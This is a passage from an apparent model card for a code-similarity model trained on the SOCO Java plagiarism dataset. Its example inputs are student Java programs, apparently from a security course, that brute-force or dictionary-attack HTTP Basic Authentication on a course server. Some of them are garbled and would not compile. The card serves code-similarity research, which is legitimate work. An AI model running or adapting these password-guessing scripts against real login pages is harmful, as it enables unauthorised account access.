\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\
\npublic class BruteForce {\n public static void main (String[] args) throws IOException\
\ {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\
\n int start = new Date().getTime();\n String[] letters = {\"a\",\"\
A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n\
\ \"h\",\"H\",\"i\",\"I\",\"j\",\"J\",\"k\",\"K\",\"\
l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t \"o\",\"O\",\"p\",\"P\",\"q\",\"Q\"\
,\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"U\",\n\t\t\t \"v\",\"V\",\"w\",\"\
W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n int len = 52;\n int total\
\ = 52;\n String[] cad = new String[total];\n int t=0;\n \n \
\ for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\t t++;\n } \n\
\ for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n\t \
\ cad[t] = letters[j]+letters[i];\n\t t++;\n }}\n for (int i=0;i<=len-1;i++){\n\
\ for (int j=0;j<=len-1;j++){\n for (int k=0;k<=len-1;k++){\n\t \
\ cad[t] = letters[k]+letters[j]+letters[i];\n\t t++;\n }}}\n \
\ \n int response = 0;\n for (t=0;t<=total-1;t++){\n String\
\ uname = \"\";\n String userinfo = uname + \":\" + cad[t];\n try{\n\
\ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n\
\ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \
\ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \
\ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\
\ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\
\ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\
\ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\
\ }\n }\n System.out.println(\"Response \"+t+\" was \"+response);\n\
\ System.out.println(\"The successful password was \"+cad[t]);\n \
\ finish = new Date().getTime();\n float totaltime = (float)(finish-start)/1000;\n\
\ System.out.println(\"Total time: \"+totaltime+\" seconds\");\n }\n}\n\
\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\n\npublic class BruteForce\
\ {\n private String strUserName;\n private String strURL;\n private int iAttempts;\n\
\ \n public BruteForce(String strURL,String strUserName) {\n this.strURL\
\ = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n\n\
\ }\n \n public String getPassword(){\n URL u;\n String result =\"\
\";\n PassGenBrute PG = new PassGenBrute(3);\n URLConnection uc;\n \
\ String strPassword = new String();\n String strEncode;\n try{\n\
\ while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n \
\ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n \
\ uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n\
\ strPassword = strEncode;\n strEncode = strUserName + \":\"\
\ + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\
\ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \
\ \n result = uc.getHeaderField(0);\n uc = null;\n \
\ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\
\ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\
\ return(strPassword);\n }\n \n public int getAttempts(){\n return\
\ (iAttempts);\n };\n \n public static void main (String arg[]){\n timeStart\
\ = 0;\n timeEnd = 0;\n \n if (arg.length == 2) {\n BruteForce\
\ BF = new BruteForce(arg[0],arg[1]);\n System.out.println(\"Processing\
\ ... \");\n timeStart = System.currentTimeMillis();\n \n System.out.println(\"\
Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\
\ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \"\
\ (msec)\");\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n\
\ }\n else {\n System.out.println(\"[Usage] java BruteForce <URL>\
\ <USERNAME>\");\n\n }\n\n }\n}\n\nclass PassGenBrute {\n private char[]\
\ password;\n public PassGenBrute(int lenght) {\n password = new char[lenght];\n\
\ for (int i = 0; i < lenght; i++){\n password[i] = 65;\n }\n password[0]--;\n\
\ }\n \n public String getNewPassword()\n throws PasswordFailureException{\n\
\ password[0]++;\n\n try {\n for (int i=0; i<password.length ; i++){\n\
\ if (password[i] == 90) {\n password[i] = 97;\n }\n \
\ if (password[i] > 122) {\n password[i] = 65;\n password[i+1]++;\n\
\ }\n }\n }\n catch (RuntimeException re){\n throw new\
\ PasswordFailureException ();\n }\n return new String(password);\n }\n\
}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException()\
\ {\n }\n}"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private\
\ String strUserName;\n private String strURL;\n private String strDictPath;\n\
\ private int iAttempts;\n\n \n public Dictionary(String strURL,String\
\ strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName\
\ = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n\
\ }\n \n\n public String getPassword(){\n URL u;\n String result\
\ =\"\";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection\
\ uc;\n String strPassword = new String();\n String strEncode;\n \
\ try{\n while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n\
\ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n\
\ uc = u.openConnection();\n uc.setDoInput(true);\n \
\ uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode\
\ = strUserName + \":\" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\
\ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \
\ \n result = uc.getHeaderField(0);\n uc = null;\n \
\ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\
\ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\
\ return(strPassword);\n }\n \n public int getAttempts(){\n return\
\ (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart\
\ = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF\
\ = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println(\"Processing\
\ ... \");\n timeStart = System.currentTimeMillis();\n System.out.println(\"\
Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\
\ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \" (msec)\"\
);\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n }\n\
\ else {\n System.out.println(\"[Usage] java BruteForce <URL> <USERNAME>\
\ <Dictionary path>\");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private\
\ char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader\
\ inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n\
\ inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n \
\ catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public\
\ String getNewPassword()\n throws PasswordFailureException{\n try {\n \
\ {\n line = inputFile.readLine();\n }while (line.length() !=\
\ iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException\
\ ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends\
\ RuntimeException {\n\n public PasswordFailureException() {\n }\n}"
- "\n\n\n\n\nimport java.io.IOException;\nimport java.net.*;\n\nimport java.io.*;\n\
import java.util.*;\n\n\n\npublic class Dictionary\n\n{\n\n\n static URL url\
\ = null;\n static URLConnection urlConnection;\n static InputStream urlStream;\n\
\n static String strOneLetterWords[];\n static String strTwoLetterWords[];\n\
\ static String strThreeLetterWords[];\n\n static String strExceptionPassword[];\n\
\n static String strLastPasswordTested;\n static String username = \"\";\n\
\n static int intNumberOfOneLetterWords = 0;\n static int intNumberOfTwoLetterWords\
\ = 0;\n static int intNumberOfThreeLetterWords = 0;\n\n static int intExceptionCount\
\ = -1;\n\n static int intNumberOfConnectionAttempts = 0;\n static int intTotalNumberOfWordsInFile\
\ = 0;\n\n\n\n\n public static void main (String args[])\n \n {\n\n\n \
\ \n \n Calendar calStart;\n Calendar calFinish; \n\
\ Date dateStart;\n Date dateFinish;\n lngStart;\n lngFinish;\n\
\n\n\n String strLine;\n String strTextFileName = \"/usr/share/lib/dict/words\"\
;\n\n boolean boolPasswordFound = false;\n boolean boolExceptionPasswordsTestedAgain\
\ = false;\n\n\n\n\n String urlString\n = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
;\n\n int intCounter1;\n int intCounter2;\n int intCounter3;\n\n\
\ int intTotalNumberOfWordsChecked = 0;\n\n\n\n \n \n \
\ calStart = new GregorianCalendar();\n dateStart = calStart.getTime();\n\
\ lngStart = dateStart.getTime(); \n\n\n\n \n \n\
\ \n \n \n strExceptionPassword = new String[5000];\n\
\n\n \n \n getNumberOfVariousLengthsOfWords(strTextFileName);\n\
\n\n \n \n strOneLetterWords = new String[intNumberOfOneLetterWords];\n\
\ strTwoLetterWords = new String[intNumberOfTwoLetterWords];\n strThreeLetterWords\
\ = new String[intNumberOfThreeLetterWords];\n\n\n \n \n \
\ populateTheDifferentLengthArrays(strTextFileName);\n\n\n\n\n if (!boolPasswordFound)\
\ \n {\n\n\n \n \n\n intCounter1 = 0;\n\n \
\ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\
\ = passwordWasFound(urlString,\n \
\ strOneLetterWords[intCounter1],\n \
\ boolPasswordFound);\n\n intCounter1++;\n\n intTotalNumberOfWordsChecked++;\n\
\n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\
\ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\
\ = passwordWasFound(urlString,\n \
\ strTwoLetterWords[intCounter1],\n \
\ boolPasswordFound);\n\n intCounter1++;\n\n intTotalNumberOfWordsChecked++;\n\
\n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\
\ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\
\ = passwordWasFound(urlString,\n \
\ strThreeLetterWords[intCounter1],\n \
\ boolPasswordFound);\n\n intCounter1++;\n\n \
\ intTotalNumberOfWordsChecked++;\n\n }\n\n\n\n \n \
\ \n \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intNumberOfOneLetterWords) )\n {\n\n intCounter2\
\ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n \
\ boolPasswordFound \n = passwordWasFound(urlString,\n \
\ strOneLetterWords[intCounter1] + \n \
\ strOneLetterWords[intCounter2],\n \
\ boolPasswordFound); \n\n intCounter2++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n \n \n\n intCounter1 = 0;\n\n while\
\ ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )\n \
\ {\n\n intCounter2 = 0; \n\n while ( (!boolPasswordFound)\
\ && (intCounter2 < intNumberOfOneLetterWords) )\n {\n\n \
\ intCounter3 = 0; \n\n while ( (!boolPasswordFound) && (intCounter3\
\ < intNumberOfOneLetterWords) )\n {\n\n boolPasswordFound\
\ = true;\n\n boolPasswordFound \n = passwordWasFound(urlString,\n\
\ strOneLetterWords[intCounter1] \
\ + \n strOneLetterWords[intCounter2]\
\ +\n strOneLetterWords[intCounter3],\n\
\ boolPasswordFound); \n\n \
\ intCounter3++;\n\n intTotalNumberOfWordsChecked++;\n\
\n }\n\n\n intCounter2++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intNumberOfOneLetterWords) )\n {\n\n intCounter2\
\ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n \
\ boolPasswordFound \n = passwordWasFound(urlString,\n \
\ strOneLetterWords[intCounter1] + \n \
\ strTwoLetterWords[intCounter2],\n \
\ boolPasswordFound); \n\n intCounter2++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\
\ && (intCounter1 < intNumberOfTwoLetterWords) )\n {\n\n intCounter2\
\ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords)\
\ )\n {\n\n boolPasswordFound = true;\n\n \
\ boolPasswordFound \n = passwordWasFound(urlString,\n \
\ strTwoLetterWords[intCounter1] + \n \
\ strOneLetterWords[intCounter2],\n \
\ boolPasswordFound); \n\n intCounter2++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \
\ intCounter1++;\n\n }\n\n\n\n \n \n \
\ \n \n \n\n intCounter1 = 0;\n\n while\
\ ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )\n {\n\
\n boolExceptionPasswordsTestedAgain = true;\n boolPasswordFound\
\ = true;\n\n boolPasswordFound \n = passwordWasFound(urlString,\n\
\ strExceptionPassword[intCounter1],\n \
\ boolPasswordFound); \n\n intCounter1++;\n\
\n intTotalNumberOfWordsChecked++;\n\n }\n\n } \n\n\n\
\n \n \n calFinish = new GregorianCalendar();\n dateFinish\
\ = calFinish.getTime();\n lngFinish = dateFinish.getTime(); \n\n\n\
\ \n \n System.out.println();\n System.out.println();\n\
\n\n System.out.println();\n System.out.println(\"Length of time for\
\ processing: \" + \n ((lngFinish - lngStart) / 1000)\
\ + \n \" seconds\");\n\n\n System.out.println();\n\
\ System.out.println(\"Total number of words in dictionary file = \" + intTotalNumberOfWordsInFile);\n\
\n\n System.out.println();\n System.out.println(\"Input file: number\
\ of words with one letter length = \" + intNumberOfOneLetterWords);\n \
\ System.out.println(\"Input file: number of words with two letter length =\
\ \" + intNumberOfTwoLetterWords);\n System.out.println(\"Input file: number\
\ of words with three letter length = \" + intNumberOfThreeLetterWords);\n\n\n\
\ System.out.println();\n System.out.println(\"Number of connection\
\ attempts = \" + intTotalNumberOfWordsChecked);\n\n\n System.out.println();\n\
\ System.out.println(\"Number of exceptions thrown = \" + (intExceptionCount\
\ + 1));\n System.out.println();\n\n\n if (intExceptionCount >= 0)\n\
\ {\n System.out.print(\"These passwords WERE \");\n\n if\
\ (boolExceptionPasswordsTestedAgain)\n System.out.print(\"tested again.\"\
);\n else\n System.out.print(\"NOT tested again.\");\n\n \
\ System.out.println();\n }\n\n\n if (boolPasswordFound) \n \
\ {\n System.out.println(\"The correct password WAS found - this password\
\ is '\" + \n strLastPasswordTested + \"'.\");\n \
\ } \n else\n {\n System.out.println(\"The correct password\
\ WAS NOT found.\");\n } \n \n System.out.println();\n\n\
\ }\n\n\n\n\n\n\n\n static void getNumberOfVariousLengthsOfWords(String TextFileName)\n\
\ \n {\n\n FileReader reader;\n BufferedReader inTextFile = null;\n\
\n String strLine;\n int intWordLength;\n\n\n\n try\n { \
\ \n \n \n \n \n \n reader\
\ = new FileReader(TextFileName);\n\n \n \n \n\
\ \n inTextFile = new BufferedReader(reader);\n\n\n \
\ strLine = inTextFile.readLine();\n\n\n while (strLine != null)\n \
\ {\n\n intTotalNumberOfWordsInFile++;\n\n strLine\
\ = strLine.trim();\n\n intWordLength = strLine.length();\n\n\n \
\ \n \n if (intWordLength == 1)\n \
\ intNumberOfOneLetterWords++;\n\n \n \n \
\ else if (intWordLength == 2) \n intNumberOfTwoLetterWords++;\n\
\n \n \n else if (intWordLength == 3)\n\
\ intNumberOfThreeLetterWords++;\n\n\n strLine = inTextFile.readLine();\n\
\n }\n\n }\n\n catch(FileNotFoundException e)\n {\n\n \
\ \n \n System.out.println();\n System.out.println(\"\
The file '\" + TextFileName + \"' cannot found.\");\n System.out.println();\n\
\n }\n\n catch(Exception e)\n {\n\n }\n\n finally\n \
\ {\n\n try\n {\n inTextFile.print();\n \
\ }\n catch(Exception e)\n {\n }\n\n inTextFile\
\ = null;\n reader = null;\n\n }\n\n } \n\n\n\n\n\n\n static\
\ void populateTheDifferentLengthArrays(String TextFileName)\n \n {\n\n \
\ FileReader reader;\n BufferedReader inTextFile = null;\n\n String\
\ strLine;\n int intWordLength;\n\n int intCountOfOneLetterWords =\
\ -1;\n int intCountOfTwoLetterWords = -1;\n int intCountOfThreeLetterWords\
\ = -1;\n\n\n\n try\n { \n \n \n \n \
\ \n \n reader = new FileReader(TextFileName);\n\n \
\ \n \n \n \n inTextFile = new\
\ BufferedReader(reader);\n\n\n strLine = inTextFile.readLine();\n\n\n\
\ while (strLine != null)\n {\n\n strLine = strLine.trim();\n\
\ intWordLength = strLine.length();\n\n\n \n \
\ \n if (intWordLength == 1)\n {\n intCountOfOneLetterWords++;\n\
\ strOneLetterWords[intCountOfOneLetterWords] = strLine;\n \
\ }\n\n \n \n else if (intWordLength\
\ == 2) \n {\n\n intCountOfTwoLetterWords++;\n \
\ strTwoLetterWords[intCountOfTwoLetterWords] = strLine;\n \
\ }\n\n \n \n else if (intWordLength ==\
\ 3)\n {\n intCountOfThreeLetterWords++;\n \
\ strThreeLetterWords[intCountOfThreeLetterWords] = strLine;\n \
\ }\n\n strLine = inTextFile.readLine();\n\n }\n\n }\n\
\n catch(FileNotFoundException e)\n {\n\n \n \n\
\ System.out.println();\n System.out.println(\"The file '\" +\
\ TextFileName + \"' cannot found.\");\n System.out.println();\n\n \
\ }\n\n catch(Exception e)\n {\n System.out.println(\"Exception\
\ thrown....\");\n System.err.println(e);\n }\n\n finally\n\
\ {\n\n try\n {\n inTextFile.print();\n \
\ }\n catch(Exception e)\n {\n }\n\n inTextFile\
\ = null;\n reader = null;\n\n }\n\n }\n\n\n\n\n\n\n\n static\
\ boolean passwordWasFound(String urlString,\n \
\ String password,\n boolean retVal)\n \
\ \n {\n\n String strEncodeInput = username + \":\" + password;\n \
\ boolean returnValue = retVal;\n boolean boolExceptionThrown = false;\n\n\
\n\n try\n {\n\n strLastPasswordTested = password;\n \n \
\ intNumberOfConnectionAttempts++;\n\n url = new URL(urlString);\n\
\n String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());\n\
\n\n System.out.print(\"username = \" + \n username\
\ + \n \" \" +\n \
\ \"password = \" +\n password);\n\n\n\n HttpURLConnection\
\ urlConnection = (HttpURLConnection)url.openConnection();\n\n urlConnection.setRequestProperty(\"\
Authorization\", \n \" \" + encoding);\
\ \n\n System.out.println(\" response = \" + urlConnection.getResponseCode());\n\
\n if (urlConnection.getResponseCode() == 401)\n {\n \
\ returnValue = false; \n }\n\n }\n\n catch (MalformedURLException\
\ m)\n {\n boolExceptionThrown = true;\n returnValue = false;\n\
\n System.err.println(m);\n System.out.println(\"Malformed URL\
\ Exception error\");\n }\n\n catch (IOException io)\n {\n \
\ boolExceptionThrown = true;\n returnValue = false;\n\n System.out.println(\"\
IOException error\");\n System.err.println(io); \n }\n\n catch\
\ (Exception e)\n {\n boolExceptionThrown = true;\n returnValue\
\ = false;\n\n System.out.println(\"General exception.....\");\n \
\ System.err.println(e); \n }\n\n finally\n { \n urlConnection\
\ = null;\n url = null; \n }\n\n\n if (boolExceptionThrown)\n\
\ {\n intExceptionCount++;\n strExceptionPassword[intExceptionCount]\
\ = password;\n }\n\n\n return returnValue;\n\n }\n\n}"
- "import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\n\
public class WatchDog {\n\n public WatchDog() {\n\n }\n public static void\
\ main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println(\"\
ishti\");\n\n System.out.println(\"Downloading first copy\");\n Runtime.getRuntime().exec(\"\
wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n String[] cmdDiff\
\ = {\"//sh\", \"-c\", \"diff oldfile.html newfile.html > Diff.txt\"};\n \
\ String[] cmdMail = {\"//sh\", \"-c\", \"mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\
\" < Diff.txt\"};\n while(true){\n Thread.sleep(24*60*60*1000);\n\
\ System.out.println(\"Downloading new copy\");\n Runtime.getRuntime().exec(\"\
wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n Thread.sleep(2000);\n\
\ Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n\
\ newin = new DataInputStream( new FileInputStream( \"Diff.txt\"));\n\
\ if (newin.readLine() != null){\n System.out.println(\"\
Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n \
\ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\n \
\ }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\
\ }\n\n }\n\n}"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
- **Training Dataset:**
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CODEBERTA-MNRL-TRIPLETS-E1-B32-LR1e-05-Split0.1")
# Run inference
sentences = [
'import java.net.*;\nimport java.io.*;\n\npublic class BruteForce {\n private String strUserName;\n private String strURL;\n private int iAttempts;\n \n public BruteForce(String strURL,String strUserName) {\n this.strURL = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n\n }\n \n public String getPassword(){\n URL u;\n String result ="";\n PassGenBrute PG = new PassGenBrute(3);\n URLConnection uc;\n String strPassword = new String();\n String strEncode;\n try{\n while (result.compareTo("HTTP/1.1 200 OK")!=0){\n \n strEncode = PG.getNewPassword();\n u = new URL(strURL);\n uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode = strUserName + ":" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n uc.setRequestProperty("Authorization"," " + strEncode);\n \n result = uc.getHeaderField(0);\n uc = null;\n u = null;\n iAttempts++;\n }\n\n }\n catch (Exception me) {\n System.out.println("MalformedURLException: "+me);\n }\n return(strPassword);\n }\n \n public int getAttempts(){\n return (iAttempts);\n };\n \n public static void main (String arg[]){\n timeStart = 0;\n timeEnd = 0;\n \n if (arg.length == 2) {\n BruteForce BF = new BruteForce(arg[0],arg[1]);\n System.out.println("Processing ... ");\n timeStart = System.currentTimeMillis();\n \n System.out.println("Password = " + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n System.out.println("Total Attempts = " + BF.getAttempts());\n }\n else {\n System.out.println("[Usage] java BruteForce <URL> <USERNAME>");\n\n }\n\n }\n}\n\nclass PassGenBrute {\n private char[] password;\n public PassGenBrute(int lenght) {\n password = new char[lenght];\n for (int i = 0; i < lenght; i++){\n password[i] = 65;\n }\n password[0]--;\n }\n \n public String getNewPassword()\n throws PasswordFailureException{\n password[0]++;\n\n try {\n for (int i=0; i<password.length ; i++){\n if (password[i] == 90) {\n password[i] = 97;\n }\n if (password[i] > 122) {\n password[i] = 65;\n password[i+1]++;\n }\n }\n }\n catch (RuntimeException re){\n throw new PasswordFailureException ();\n }\n return new String(password);\n }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException() {\n }\n}',
'import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private String strUserName;\n private String strURL;\n private String strDictPath;\n private int iAttempts;\n\n \n public Dictionary(String strURL,String strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n }\n \n\n public String getPassword(){\n URL u;\n String result ="";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection uc;\n String strPassword = new String();\n String strEncode;\n try{\n while (result.compareTo("HTTP/1.1 200 OK")!=0){\n \n strEncode = PG.getNewPassword();\n u = new URL(strURL);\n uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode = strUserName + ":" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n uc.setRequestProperty("Authorization"," " + strEncode);\n \n result = uc.getHeaderField(0);\n uc = null;\n u = null;\n iAttempts++;\n }\n\n }\n catch (Exception me) {\n System.out.println("MalformedURLException: "+me);\n }\n return(strPassword);\n }\n \n public int getAttempts(){\n return (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println("Processing ... ");\n timeStart = System.currentTimeMillis();\n System.out.println("Password = " + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n System.out.println("Total Attempts = " + BF.getAttempts());\n }\n else {\n System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");\n\n }\n\n 